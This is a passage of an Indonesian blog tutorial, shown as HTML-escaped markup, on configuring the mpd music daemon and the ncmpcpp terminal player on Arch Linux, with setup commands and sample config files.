window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pkill&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita juga bisa memastikan mpd sudah berjalan di port 6600 dengan mengetikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;netstat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-tupln&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;755&quot; height=&quot;250&quot; src=&quot;/_astro/ss1.C43HSwdc_Z1aA0vL.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;NCMPCPP Config&lt;a href=&quot;#ncmpcpp-config&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Beralih ke direktori &lt;code&gt;~/.config/ncmpcpp&lt;/code&gt;, kita akan membuat file konfigurasi ncmpcpp, yaitu file &lt;code&gt;config&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/ncmpcpp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah isi file konfigurasi ncmpcpp yang saya miliki&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ncmpcpp_directory&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/ncmpcpp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lyrics_directory&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/mpd/lyrics&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpd_music_dir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/Music&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;screen_switcher_mode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;playlist,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;visualizer&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;startup_slave_screen&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;visualizer&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;startup_slave_screen_focus&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;locked_screen_width_part&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;60&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;user_interface&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;alternative&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_data_source&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/tmp/mpd.fifo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_in_stereo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;spectrum&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_look&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;▋▋&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_spectrum_smooth_look&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;progressbar_look&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;╺▶&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enable_window_title&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;song_status_format&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{{`&lt;/span&gt;&lt;span&gt;%a&lt;/span&gt;&lt;span&gt;{ &quot;%b&quot;{ (%y)}}`&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;}{%t}}&lt;/span&gt;&lt;span&gt;|{%f}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;playlist_display_mode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;classic&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;playlist_editor_display_mode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;classic&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;colors_enabled&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;no&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;execute_on_song_change&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;notify-send&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Now Playing&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;$(&lt;/span&gt;&lt;span&gt;mpc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--format&lt;/span&gt;&lt;span&gt; &apos;%title% \n%artist%&apos; current)&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--icon=&lt;/span&gt;&lt;span&gt;&quot;/home/wildan/.icons/buuf-nestort/apps/spotify.png&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## For a song format you can use:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %l - length&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %f - filename&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %D - directory&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %a - artist&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %A - album artist&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %t - title&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %b - album&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %y - date&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %n - track number (01/12 -&amp;gt; 01)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %N - full track info (01/12 -&amp;gt; 01/12)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %g - genre&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %c - composer&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %p - performer&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %d - disc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %C - comment&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## %P - priority&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## $R - begin right alignment&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;notify-send&lt;/code&gt; adalah sebuah program mengirimkan notifikasi ke desktop. Supaya bisa menggunakan &lt;code&gt;notify-send&lt;/code&gt;, kita perlu menginstallnya terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libnotify&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;Atau kalian juga bisa menggunakan file konfigurasi default dari ncmpcpp, jadi bisa custom sendiri interface ncmpcpp-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/usr/share/doc../images/ncmpcpp/config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/ncmpcpp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah tampilan ncmpcpp saya menggunakan config di atas:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;711&quot; height=&quot;503&quot; src=&quot;/_astro/ss2.CqPPCzNP_Z2p4Ko3.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kalian juga bisa menggunakan konfigurasi ncmpcpp milik owl4ce: &lt;a href=&quot;https://github.com/owl4ce/dotfiles/blob/ng/.config../images/ncmpcpp/main.config&quot; target=&quot;_blank&quot;&gt;https://github.com/owl4ce/dotfiles/blob/ng/.config../images/ncmpcpp/main.config&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# User&apos;s ncmpcpp main configuration.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# https://github.com/owl4ce/dotfiles&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# MPD&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpd_host&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpd_port&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;6600&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpd_crossfade_time&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;2&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# VISUALIZER&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_data_source&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;/tmp/mpd.fifo&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_output_name&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Visualizer&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_in_stereo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;no&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_fps&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;60&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;wave&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_look&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;∗▐&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;199,200,201,202,166,130,94,58,22&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visualizer_spectrum_smooth_look&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# GENERAL&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lyrics_directory&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;~/.config../images/ncmpcpp/lyrics&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;connected_message_on_startup&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cyclic_scrolling&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mouse_support&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mouse_list_scroll_whole_page&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lines_scrolled&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;1&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;message_delay_time&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;1&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;playlist_shorten_total_times&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 